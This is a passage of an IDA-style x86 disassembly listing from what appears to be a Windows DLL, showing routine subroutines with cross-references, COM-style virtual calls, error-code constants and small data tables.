loc_69B7032C: ; CODE XREF: sub_69B702BB+15j
cmp [ebp+18h], ebx
jz short loc_69B702D5
push ebx
push ebx
push ebx
jmp short loc_69B70309
sub_69B702BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70336 proc near ; DATA XREF: .text:69B21D3Co
; .text:69B21DBCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
cmp eax, dword_69B9B590
push esi
push [ebp+arg_C]
mov esi, ecx
jnz short loc_69B70358
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B73101
jmp short loc_69B70393
; ---------------------------------------------------------------------------
loc_69B70358: ; CODE XREF: sub_69B70336+12j
cmp eax, dword_69B9B570
jnz short loc_69B70385
mov ecx, [ebp+arg_0]
call sub_69B6EB90
push 3
push [ebp+arg_C]
push esi
push [ebp+arg_0]
call sub_69B73499
push [ebp+arg_4]
mov edx, [eax]
push [ebp+arg_0]
mov ecx, eax
call dword ptr [edx+3Ch]
jmp short loc_69B70393
; ---------------------------------------------------------------------------
loc_69B70385: ; CODE XREF: sub_69B70336+28j
mov ecx, [esi+0Ch]
mov eax, [ecx]
call dword ptr [eax+3Ch]
push eax
call sub_69B6FE1A
loc_69B70393: ; CODE XREF: sub_69B70336+20j
; sub_69B70336+4Dj
pop esi
pop ebp
retn 10h
sub_69B70336 endp
; =============== S U B R O U T I N E =======================================
sub_69B70398 proc near ; DATA XREF: .text:69B141DCo
; .text:69B1618Co ...
or dword ptr [ecx+24h], 4
retn 10h
sub_69B70398 endp
; =============== S U B R O U T I N E =======================================
sub_69B7039F proc near ; CODE XREF: sub_69B703C5+Fj
; sub_69B704C8+3p ...
push esi
mov esi, ecx
lea eax, [esi+28h]
push eax
call sub_69B2DEDD
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B2DEDD
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B7039F endp
; =============== S U B R O U T I N E =======================================
sub_69B703C5 proc near ; CODE XREF: sub_69B704E3+3p
push esi
mov esi, ecx
lea eax, [esi+2Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp short sub_69B7039F
sub_69B703C5 endp
; =============== S U B R O U T I N E =======================================
sub_69B703D6 proc near ; DATA XREF: .text:69B21D28o
; .text:69B21DA8o
xor eax, eax
cmp ecx, dword_69B9B670
setz al
retn
sub_69B703D6 endp
; =============== S U B R O U T I N E =======================================
sub_69B703E2 proc near ; DATA XREF: .text:69B21DB0o
mov eax, [ecx+1Ch]
test eax, eax
jz short loc_69B703ED
add eax, 0Ch
retn
; ---------------------------------------------------------------------------
loc_69B703ED: ; CODE XREF: sub_69B703E2+5j
xor eax, eax
retn
sub_69B703E2 endp
; =============== S U B R O U T I N E =======================================
sub_69B703F0 proc near ; CODE XREF: sub_69B70407+1Fp
; sub_69B72A73+47p
push 30h
call sub_69B17EF3
test eax, eax
jz short loc_69B70402
mov ecx, eax
jmp sub_69B21D48
; ---------------------------------------------------------------------------
loc_69B70402: ; CODE XREF: sub_69B703F0+9j
xor eax, eax
retn 0Ch
sub_69B703F0 endp
; =============== S U B R O U T I N E =======================================
sub_69B70407 proc near ; CODE XREF: sub_69B6DF3C+117p
push esi
xor esi, esi
push esi
push esi
push 0FFFFFFFFh
push esi
push esi
push esi
push esi
push esi
call sub_69B685B5
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push esi
push esi
call sub_69B703F0
push eax ; Value
mov ecx, offset dword_69B9B670 ; Target
call sub_69B188DC
pop esi
retn
sub_69B70407 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70438 proc near ; DATA XREF: .text:69B21DA4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push [ebp+arg_4]
mov esi, ecx
mov ebx, [esi+0Ch]
call sub_69B73078
mov edi, [ebp+arg_0]
and [ebp+arg_4], 0
cmp dword ptr [edi+0A8h], 2
push eax
mov [ebp+var_4], eax
mov ecx, esi
push edi
jz short loc_69B7047E
call sub_69B72DBF
mov ecx, [esi+0Ch]
push dword_69B9B490
mov eax, [ecx]
call dword ptr [eax+0A8h]
mov [ebp+arg_4], eax
jmp short loc_69B7048F
; ---------------------------------------------------------------------------
loc_69B7047E: ; CODE XREF: sub_69B70438+29j
call sub_69B7326E
push [ebp+var_4]
mov ecx, esi
push ebx
push edi
call sub_69B7267F
loc_69B7048F: ; CODE XREF: sub_69B70438+44j
cmp [ebp+arg_4], 0
jz short loc_69B704A9
mov ecx, [edi+68h]
push 1
push [ebp+arg_4]
push 0Bh
call sub_69B4DE11
mov eax, [eax+8]
jmp short loc_69B704AE
; ---------------------------------------------------------------------------
loc_69B704A9: ; CODE XREF: sub_69B70438+5Bj
mov eax, dword_69B95A0C
loc_69B704AE: ; CODE XREF: sub_69B70438+6Fj
push eax
push edi
mov ecx, esi
call sub_69B7238E
push eax
add esi, 14h
push esi
call sub_69B2DEB2
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B70438 endp
; =============== S U B R O U T I N E =======================================
sub_69B704C8 proc near ; DATA XREF: .text:69B14194o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B7039F
test [esp+4+arg_0], 1
jz short loc_69B704DD
push esi
call sub_69B1829F
loc_69B704DD: ; CODE XREF: sub_69B704C8+Dj
mov eax, esi
pop esi
retn 4
sub_69B704C8 endp
; =============== S U B R O U T I N E =======================================
sub_69B704E3 proc near ; DATA XREF: .text:69B21CF4o
; .text:69B21D74o ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B703C5
test [esp+4+arg_0], 1
jz short loc_69B704F8
push esi
call sub_69B1829F
loc_69B704F8: ; CODE XREF: sub_69B704E3+Dj
mov eax, esi
pop esi
retn 4
sub_69B704E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B704FE proc near ; CODE XREF: sub_69B6EDDE+C1p
; sub_69B72DBF+34p ...
inc dword ptr [ecx+0Ch]
and dword ptr [ecx+8], 0
retn
sub_69B704FE endp
; =============== S U B R O U T I N E =======================================
sub_69B70506 proc near ; CODE XREF: sub_69B70506+Ap
; sub_69B7055C+1Dp
push esi
mov esi, ecx
mov ecx, [esi+40h]
test ecx, ecx
jz short loc_69B70515
call sub_69B70506
loc_69B70515: ; CODE XREF: sub_69B70506+8j
mov eax, [esi]
mov ecx, esi
pop esi
jmp dword ptr [eax+34h]
sub_69B70506 endp
; =============== S U B R O U T I N E =======================================
sub_69B7051D proc near ; CODE XREF: sub_69B70774+11p
push ebx
push esi
push edi
mov ebx, ecx
mov eax, [ebx+10h]
push 1
push eax
call sub_69B3156E
mov esi, eax
jmp short loc_69B7054B
; ---------------------------------------------------------------------------
loc_69B70531: ; CODE XREF: sub_69B7051D+39j
lea ecx, [edi+2Ch]
mov eax, [ecx]
call dword ptr [eax+44h]
cmp eax, 0FFFFFFFFh
jnz short loc_69B7054B
push dword ptr [ebx+8]
mov ecx, edi
call sub_69B73624
mov [ebx+8], eax
loc_69B7054B: ; CODE XREF: sub_69B7051D+12j
; sub_69B7051D+1Fj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov edi, eax
test edi, edi
jnz short loc_69B70531
pop edi
pop esi
pop ebx
retn
sub_69B7051D endp
; =============== S U B R O U T I N E =======================================
sub_69B7055C proc near ; CODE XREF: sub_69B6EC84+9p
; sub_69B6ED05+C5p ...
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+4], bl
jz short loc_69B7058A
mov eax, [esi+10h]
push edi
push 1
push eax
call sub_69B3156E
mov edi, eax
jmp short loc_69B7057E
; ---------------------------------------------------------------------------
loc_69B70577: ; CODE XREF: sub_69B7055C+2Bj
mov ecx, eax
call sub_69B70506
loc_69B7057E: ; CODE XREF: sub_69B7055C+19j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
cmp eax, ebx
jnz short loc_69B70577
pop edi
loc_69B7058A: ; CODE XREF: sub_69B7055C+9j
push ebx
lea eax, [esi+10h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+18h]
push eax
mov [esi+14h], ebx
call sub_69B17320
mov [esi+0Ch], ebx
mov [esi+8], ebx
mov [esi+4], bl
pop esi
pop ebx
retn
sub_69B7055C endp
; =============== S U B R O U T I N E =======================================
sub_69B705AD proc near ; CODE XREF: sub_69B73499+4Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 3
push esi
push edi
mov esi, ecx
jz short loc_69B705E4
cmp byte ptr [esi+4], 0
jz short loc_69B705E4
push [esp+8+arg_0]
mov ecx, [esi+10h]
call sub_69B1980A
mov edi, eax
test edi, edi
jz short loc_69B705DE
cmp dword ptr [edi+4Ch], 0
jnz short loc_69B705DE
mov eax, [edi+3Ch]
cmp eax, [esi+0Ch]
jz short loc_69B705E0
loc_69B705DE: ; CODE XREF: sub_69B705AD+21j
; sub_69B705AD+27j
xor edi, edi
loc_69B705E0: ; CODE XREF: sub_69B705AD+2Fj
test edi, edi
jnz short loc_69B705F5
loc_69B705E4: ; CODE XREF: sub_69B705AD+9j
; sub_69B705AD+Fj
push dword ptr [esi+0Ch]
push dword ptr [esi+14h]
push [esp+10h+arg_0]
call sub_69B7372C
mov edi, eax
loc_69B705F5: ; CODE XREF: sub_69B705AD+35j
cmp dword ptr [esi+0Ch], 1
jnz short loc_69B70605
push edi
add esi, 18h
push esi
call sub_69B17320
loc_69B70605: ; CODE XREF: sub_69B705AD+4Cj
mov eax, edi
pop edi
pop esi
retn 8
sub_69B705AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7060C proc near ; CODE XREF: sub_69B73539+6Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push edi
mov edi, [ebp+arg_0]
cmp dword ptr [edi+4Ch], 3
mov ebx, ecx
jz loc_69B706B3
push esi
lea esi, [ebx+10h]
cmp dword ptr [esi], 0
jnz short loc_69B7063B
push 0
push 1
push 20h
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B7063B: ; CODE XREF: sub_69B7060C+1Bj
mov eax, [esi]
lea esi, [edi+2Ch]
mov [ebp+arg_0], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov ecx, [ebp+arg_0]
push edi
push eax
call sub_69B3182D
test eax, eax
jz short loc_69B7068A
cmp dword ptr [eax+3Ch], 1
jnz short loc_69B70670
cmp dword ptr [ebx+0Ch], 1
jle short loc_69B70670
push eax
lea eax, [edi+40h]
push eax
call sub_69B17320
jmp short loc_69B7068A
; ---------------------------------------------------------------------------
loc_69B70670: ; CODE XREF: sub_69B7060C+50j
; sub_69B7060C+56j
cmp eax, edi
jz short loc_69B7068A
mov eax, [esi]
push 0
push 0
mov ecx, esi
call dword ptr [eax+38h]
push eax
push 0C00CE315h
call sub_69B6E277
loc_69B7068A: ; CODE XREF: sub_69B7060C+4Aj
; sub_69B7060C+62j ...
lea eax, [ebx+18h]
cmp dword ptr [eax], 0
pop esi
jz short loc_69B7069D
cmp byte ptr [ebx+4], 0
mov byte ptr [ebp+arg_0+3], 1
jnz short loc_69B706A1
loc_69B7069D: ; CODE XREF: sub_69B7060C+85j
mov byte ptr [ebp+arg_0+3], 0
loc_69B706A1: ; CODE XREF: sub_69B7060C+8Fj
push 0
push eax
call sub_69B17320
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_69B706B3
xor al, al
jmp short loc_69B706C4
; ---------------------------------------------------------------------------
loc_69B706B3: ; CODE XREF: sub_69B7060C+Ej
; sub_69B7060C+A1j
mov eax, [ebx+8]
lea ecx, [eax+1]
mov [ebx+8], ecx
mov [edi+38h], eax
mov [ebx+14h], edi
mov al, 1
loc_69B706C4: ; CODE XREF: sub_69B7060C+A5j
pop edi
pop ebx
pop ebp
retn 4
sub_69B7060C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B706CA proc near ; DATA XREF: .text:off_69B2A4C8o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi+10h]
mov ecx, [esi]
test ecx, ecx
jz short loc_69B706E9
push [ebp+arg_0]
call sub_69B1980A
mov ebx, eax
test ebx, ebx
jnz short loc_69B70741
loc_69B706E9: ; CODE XREF: sub_69B706CA+Fj
mov eax, [edi+18h]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B7070E
lea ecx, [eax+2Ch]
mov eax, [ecx]
call dword ptr [eax+38h]
cmp eax, [ebp+arg_0]
jnz short loc_69B7070E
push ebx
push ebx
push [ebp+arg_0]
push 0C00CE316h
call sub_69B6E277
loc_69B7070E: ; CODE XREF: sub_69B706CA+26j
; sub_69B706CA+33j
push 1
push ebx
push [ebp+arg_0]
call sub_69B7372C
cmp dword ptr [esi], 0
mov ebx, eax
jnz short loc_69B70732
push 0
push 1
push 20h
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B70732: ; CODE XREF: sub_69B706CA+54j
mov ecx, [esi]
push ebx
push [ebp+arg_0]
call sub_69B3182D
mov byte ptr [edi+4], 1
loc_69B70741: ; CODE XREF: sub_69B706CA+1Dj
cmp byte ptr [edi+4], 0
jz short loc_69B7075A
mov ecx, [edi+18h]
test ecx, ecx
jz short loc_69B7075A
cmp dword ptr [ebx+3Ch], 1
jnz short loc_69B7075A
push ebx
call sub_69B735FC
loc_69B7075A: ; CODE XREF: sub_69B706CA+7Bj
; sub_69B706CA+82j ...
push dword ptr [edi+0Ch]
mov ecx, ebx
call sub_69B732DB
lea ecx, [eax+8]
neg eax
pop edi
sbb eax, eax
pop esi
and eax, ecx
pop ebx
pop ebp
retn 4
sub_69B706CA endp
; =============== S U B R O U T I N E =======================================
sub_69B70774 proc near ; CODE XREF: sub_69B6EDDE+E8p
; sub_69B72DBF+57p ...
push esi
mov esi, ecx
mov eax, [esi+0Ch]
cmp eax, 1
jnz short loc_69B70796
cmp byte ptr [esi+4], 0
jz short loc_69B7078E
call sub_69B7051D
mov byte ptr [esi+4], 0
loc_69B7078E: ; CODE XREF: sub_69B70774+Fj
mov ecx, esi
pop esi
jmp sub_69B7055C
; ---------------------------------------------------------------------------
loc_69B70796: ; CODE XREF: sub_69B70774+9j
dec eax
and dword ptr [esi+8], 0
mov [esi+0Ch], eax
jmp short loc_69B707BB
; ---------------------------------------------------------------------------
loc_69B707A0: ; CODE XREF: sub_69B70774+4Bj
mov ecx, [esi+14h]
mov eax, [esi+0Ch]
cmp eax, [ecx+3Ch]
jge short loc_69B707C3
push esi
push eax
call sub_69B735BF
mov eax, [esi+14h]
mov eax, [eax+44h]
mov [esi+14h], eax
loc_69B707BB: ; CODE XREF: sub_69B70774+2Aj
cmp dword ptr [esi+14h], 0
jnz short loc_69B707A0
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B707C3: ; CODE XREF: sub_69B70774+35j
mov eax, [esi+14h]
mov ecx, [esi+0Ch]
cmp ecx, [eax+3Ch]
jnz short loc_69B707DA
lea ecx, [eax+2Ch]
mov eax, [ecx]
call dword ptr [eax+44h]
inc eax
mov [esi+8], eax
loc_69B707DA: ; CODE XREF: sub_69B70774+58j
pop esi
retn
sub_69B70774 endp
; =============== S U B R O U T I N E =======================================
sub_69B707DC proc near ; DATA XREF: .text:69B15DDCo
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, [ecx]
call dword ptr [eax+1D0h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
retn 4
sub_69B707DC endp
; =============== S U B R O U T I N E =======================================
sub_69B707F1 proc near ; DATA XREF: .text:69B15DE0o
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, [ecx]
call dword ptr [eax+1D0h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
retn 4
sub_69B707F1 endp
; =============== S U B R O U T I N E =======================================
sub_69B70806 proc near ; DATA XREF: .text:69B15FA8o
lea eax, [ecx-24h]
add ecx, 0FFFFFFF4h
neg eax
sbb eax, eax
and eax, ecx
retn
sub_69B70806 endp
; =============== S U B R O U T I N E =======================================
sub_69B70813 proc near ; CODE XREF: sub_69B70A67+1Fp
; sub_69B71074+111p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_0]
mov eax, [ecx+0Ch]
push esi
mov esi, [esp+4+arg_4]
push 0
push offset off_69B70844
mov [esi], eax
call sub_69B2EECD
test al, al
mov eax, [esp+4+arg_8]
jz short loc_69B7083D
add dword ptr [esi], 8
mov byte ptr [eax], 1
jmp short loc_69B70840
; ---------------------------------------------------------------------------
loc_69B7083D: ; CODE XREF: sub_69B70813+20j
mov byte ptr [eax], 0
loc_69B70840: ; CODE XREF: sub_69B70813+28j
pop esi
retn 0Ch
sub_69B70813 endp
; ---------------------------------------------------------------------------
off_69B70844 dd offset off_69B17D10 ; DATA XREF: sub_69B70813+Eo
dd 0
dd 4
dd offset aGet_0 ; "get-"
aGet_0: ; DATA XREF: .text:69B70850o
unicode 0, <get->,0
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70860 proc near ; CODE XREF: sub_69B70D5C+11p
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push esi
call sub_69B6F543
mov ecx, [eax]
xor esi, esi
push esi
push esi
push 4
lea edx, [ebp+var_4]
push edx
push 4
lea edx, [ebp+arg_0]
push edx
push 1400h
push eax
call dword ptr [ecx+10h]
push eax
call sub_69B8862C
cmp [ebp+arg_0], esi
jz short loc_69B708A0
push esi
push esi
push esi
push 0C00CE33Ch
call sub_69B6E277
loc_69B708A0: ; CODE XREF: sub_69B70860+31j
pop esi
leave
retn 4
sub_69B70860 endp
; =============== S U B R O U T I N E =======================================
sub_69B708A5 proc near ; DATA XREF: .text:69B15D7Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, [esp+8+arg_0]
movsd
movsd
movsd
movsd
pop edi
pop esi
retn 8
sub_69B708A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B708B8 proc near ; CODE XREF: sub_69B70A67+38p
; sub_69B71074+138p
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
and dword ptr [edi], 0
and dword ptr [esi], 0
cmp [ebp+arg_0], 0
mov ebx, ecx
jz short loc_69B7091B
mov ecx, [ebx+8]
test ecx, ecx
jz short loc_69B708E7
push [ebp+arg_0]
call sub_69B1980A
test eax, eax
mov [esi], eax
jnz short loc_69B708FA
loc_69B708E7: ; CODE XREF: sub_69B708B8+1Fj
mov ebx, [ebx+4]
test ebx, ebx
jz short loc_69B708FA
push [ebp+arg_0]
mov ecx, ebx
call sub_69B1980A
mov [edi], eax
loc_69B708FA: ; CODE XREF: sub_69B708B8+2Dj
; sub_69B708B8+34j
mov esi, [esi]
test esi, esi
jz short loc_69B7091B
push [ebp+arg_10]
mov eax, [esi]
push 409h
push 1
lea ecx, [ebp+arg_4]
push ecx
push offset dword_69B2AFB0
push esi
call dword ptr [eax+14h]
jmp short loc_69B7093A
; ---------------------------------------------------------------------------
loc_69B7091B: ; CODE XREF: sub_69B708B8+18j
; sub_69B708B8+46j
mov eax, [edi]
test eax, eax
jz short loc_69B70941
push [ebp+arg_10]
mov ecx, [eax]
push 409h
push 1
lea edx, [ebp+arg_4]
push edx
push offset dword_69B2AFB0
push eax
call dword ptr [ecx+14h]
loc_69B7093A: ; CODE XREF: sub_69B708B8+61j
cmp eax, 80020006h
jnz short loc_69B70949
loc_69B70941: ; CODE XREF: sub_69B708B8+67j
mov eax, [ebp+arg_10]
or dword ptr [eax], 0FFFFFFFFh
jmp short loc_69B7094F
; ---------------------------------------------------------------------------
loc_69B70949: ; CODE XREF: sub_69B708B8+87j
push eax
call sub_69B8861E
loc_69B7094F: ; CODE XREF: sub_69B708B8+8Fj
pop edi
pop esi
pop ebx
pop ebp
retn 14h
sub_69B708B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B70956 proc near ; CODE XREF: sub_69B15D80+5p
push esi
mov esi, ecx
push offset dword_69B70970
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B70956 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B70970 dd 0DB01A1E3h, 11CFA42Bh, 8000208Fh, 64D02C5Fh; ---------------------------------------------------------------------------
loc_69B70980: ; DATA XREF: .text:off_69B15FE0o
sub dword ptr [esp+4], 10h
jmp sub_69B739EC
; ---------------------------------------------------------------------------
loc_69B7098A: ; DATA XREF: .text:off_69B15FC4o
sub dword ptr [esp+4], 14h
jmp sub_69B739EC
; ---------------------------------------------------------------------------
loc_69B70994: ; DATA XREF: .text:off_69B15FACo
sub dword ptr [esp+4], 18h
jmp sub_69B739EC
; =============== S U B R O U T I N E =======================================
sub_69B7099E proc near ; DATA XREF: .text:69B15FE4o
; .text:69B29148o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 10h
jmp sub_69B18E45
sub_69B7099E endp
; =============== S U B R O U T I N E =======================================
sub_69B709A8 proc near ; DATA XREF: .text:69B15FE8o
; .text:69B2914Co ...
arg_0 = dword ptr 4
sub [esp+arg_0], 10h
jmp sub_69B19029
sub_69B709A8 endp
; ---------------------------------------------------------------------------
loc_69B709B2: ; DATA XREF: .text:69B15FC8o
; .text:69B16B88o ...
sub dword ptr [esp+4], 14h
jmp sub_69B18E45
; ---------------------------------------------------------------------------
loc_69B709BC: ; DATA XREF: .text:69B15FCCo
; .text:69B16B8Co ...
sub dword ptr [esp+4], 14h
jmp sub_69B19029
; ---------------------------------------------------------------------------
loc_69B709C6: ; DATA XREF: .text:69B15FB0o
sub dword ptr [esp+4], 18h
jmp sub_69B18E45
; ---------------------------------------------------------------------------
loc_69B709D0: ; DATA XREF: .text:69B15FB4o
sub dword ptr [esp+4], 18h
jmp sub_69B19029
; =============== S U B R O U T I N E =======================================
sub_69B709DA proc near ; CODE XREF: sub_69B6F68E+3Bp
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
lea eax, [esi+4]
push eax
call sub_69B17230
push esi
call sub_69B17230
pop esi
retn
sub_69B709DA endp
; =============== S U B R O U T I N E =======================================
sub_69B70A09 proc near ; CODE XREF: sub_69B6F87C+60p
push ebx
push edi
mov edi, ecx
mov eax, [edi]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B70A3C
push esi
push 1
push eax
call sub_69B3156E
mov esi, eax
jmp short loc_69B70A29
; ---------------------------------------------------------------------------
loc_69B70A22: ; CODE XREF: sub_69B70A09+29j
mov ecx, eax
call sub_69B74299
loc_69B70A29: ; CODE XREF: sub_69B70A09+17j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
cmp eax, ebx
jnz short loc_69B70A22
push ebx
push edi
call sub_69B17320
pop esi
loc_69B70A3C: ; CODE XREF: sub_69B70A09+Aj
push ebx
lea eax, [edi+4]
push eax
call sub_69B17320
push ebx
lea eax, [edi+8]
push eax
call sub_69B17320
push ebx
lea eax, [edi+10h]
push eax
call sub_69B17320
push ebx
add edi, 0Ch
push edi
call sub_69B17320
pop edi
pop ebx
retn
sub_69B70A09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B70A67 proc near ; CODE XREF: sub_69B6E2F1+Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, [ebp+arg_4]
push edi
mov edi, ecx
mov ecx, [esi+14h]
mov eax, [ecx]
call dword ptr [eax+2Ch]
lea ecx, [ebp+arg_4+3]
push ecx
lea ecx, [ebp+var_4]
push ecx
push eax
mov ecx, edi
call sub_69B70813
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+arg_4]
push eax
push [ebp+var_4]
mov ecx, edi
push dword ptr [esi+10h]
call sub_69B708B8
cmp [ebp+arg_4], 0
pop edi
pop esi
jnz short loc_69B70AB2
cmp [ebp+var_4], 0
jz short loc_69B70ABC
loc_69B70AB2: ; CODE XREF: sub_69B70A67+43j
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_69B70ABC
mov al, 1
jmp short locret_69B70ABE
; ---------------------------------------------------------------------------
loc_69B70ABC: ; CODE XREF: sub_69B70A67+49j
; sub_69B70A67+4Fj
xor al, al
locret_69B70ABE: ; CODE XREF: sub_69B70A67+53j
leave
retn 8
sub_69B70A67 endp
; =============== S U B R O U T I N E =======================================
sub_69B70AC2 proc near ; CODE XREF: sub_69B70CB0+18p
; sub_69B70CE9+2Cp
push 20h
push offset dword_69B70B80
call sub_69B19C5C
mov esi, ecx
xor ebx, ebx
mov [ebp-1Ch], ebx
mov [ebp-4], ebx
mov edi, [ebp+8]
mov eax, [edi]
lea ecx, [ebp-1Ch]
push ecx
push offset dword_69B2B050
push edi
call dword ptr [eax]
mov [ebp-20h], eax
test eax, eax
jl short loc_69B70B18
add esi, 8
mov eax, [esi]
mov [ebp-24h], eax
test eax, eax
jnz short loc_69B70B0E
push eax
push 1
push 8
call sub_69B315DA
push eax
mov ecx, esi
call sub_69B199CC
loc_69B70B0E: ; CODE XREF: sub_69B70AC2+38j
mov ecx, [esi]
mov [ebp-28h], ecx
push dword ptr [ebp-1Ch]
jmp short loc_69B70B3C
; ---------------------------------------------------------------------------
loc_69B70B18: ; CODE XREF: sub_69B70AC2+2Cj
add esi, 4
mov eax, [esi]
mov [ebp-2Ch], eax
test eax, eax
jnz short loc_69B70B36
push eax
push 1
push 8
call sub_69B315DA
push eax
mov ecx, esi
call sub_69B199CC
loc_69B70B36: ; CODE XREF: sub_69B70AC2+60j
mov ecx, [esi]
mov [ebp-30h], ecx
push edi
loc_69B70B3C: ; CODE XREF: sub_69B70AC2+54j
push dword ptr [ebp+0Ch]
call sub_69B3182D
jmp short loc_69B70B59
; ---------------------------------------------------------------------------
loc_69B70B46: ; DATA XREF: .text:69B70B84o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B70B4F: ; DATA XREF: .text:69B70B88o
mov esp, [ebp-18h]
call sub_69B2E808
mov ebx, eax
loc_69B70B59: ; CODE XREF: sub_69B70AC2+82j
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
test eax, eax
jz short loc_69B70B6A
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B70B6A: ; CODE XREF: sub_69B70AC2+A0j
test ebx, ebx
jz short loc_69B70B75
mov ecx, ebx
call sub_69B2E875
loc_69B70B75: ; CODE XREF: sub_69B70AC2+AAj
call sub_69B1853C
retn 8
sub_69B70AC2 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B70B80 dd 0FFFFFFFFh dd offset loc_69B70B46
dd offset loc_69B70B4F
; =============== S U B R O U T I N E =======================================
sub_69B70B8C proc near ; CODE XREF: sub_69B6ED05+BDp
; sub_69B6EDDE+125p
push edi
mov edi, ecx
mov eax, [edi]
test eax, eax
jz short loc_69B70BB5
push esi
push 1
push eax
call sub_69B3156E
mov esi, eax
jmp short loc_69B70BA9
; ---------------------------------------------------------------------------
loc_69B70BA2: ; CODE XREF: sub_69B70B8C+26j
mov ecx, eax
call sub_69B740AD
loc_69B70BA9: ; CODE XREF: sub_69B70B8C+14j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test eax, eax
jnz short loc_69B70BA2
pop esi
loc_69B70BB5: ; CODE XREF: sub_69B70B8C+7j
mov ecx, [edi+4]
test ecx, ecx
jz short loc_69B70BC1
call sub_69B1C27E
loc_69B70BC1: ; CODE XREF: sub_69B70B8C+2Ej
push 0
add edi, 10h
push edi
call sub_69B17320
pop edi
retn
sub_69B70B8C endp
; =============== S U B R O U T I N E =======================================
sub_69B70BCE proc near ; CODE XREF: sub_69B70C02+1Ap
; sub_69B73929+65p
push esi
lea esi, [ecx+0Ch]
cmp dword ptr [esi], 0
jnz short loc_69B70BFC
push 1Ch
call sub_69B1D897
test eax, eax
jz short loc_69B70BEB
mov ecx, eax
call sub_69B74E46
jmp short loc_69B70BED
; ---------------------------------------------------------------------------
loc_69B70BEB: ; CODE XREF: sub_69B70BCE+12j
xor eax, eax
loc_69B70BED: ; CODE XREF: sub_69B70BCE+1Bj
push eax
push esi
call sub_69B17320
mov eax, [esi]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B70BFC: ; CODE XREF: sub_69B70BCE+7j
mov eax, [esi]
pop esi
retn 4
sub_69B70BCE endp
; =============== S U B R O U T I N E =======================================
sub_69B70C02 proc near ; CODE XREF: sub_69B70D5C+1Bp
; sub_69B7401B+19p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp dword ptr [eax+0A8h], 2
push esi
mov esi, ecx
jnz short loc_69B70C47
mov ecx, [eax+28h]
push edi
mov edi, [ecx+18h]
push eax
mov ecx, esi
call sub_69B70BCE
mov eax, [esi+0Ch]
push 0
add eax, 18h
push eax
call sub_69B17320
mov esi, [esi+0Ch]
mov eax, [edi]
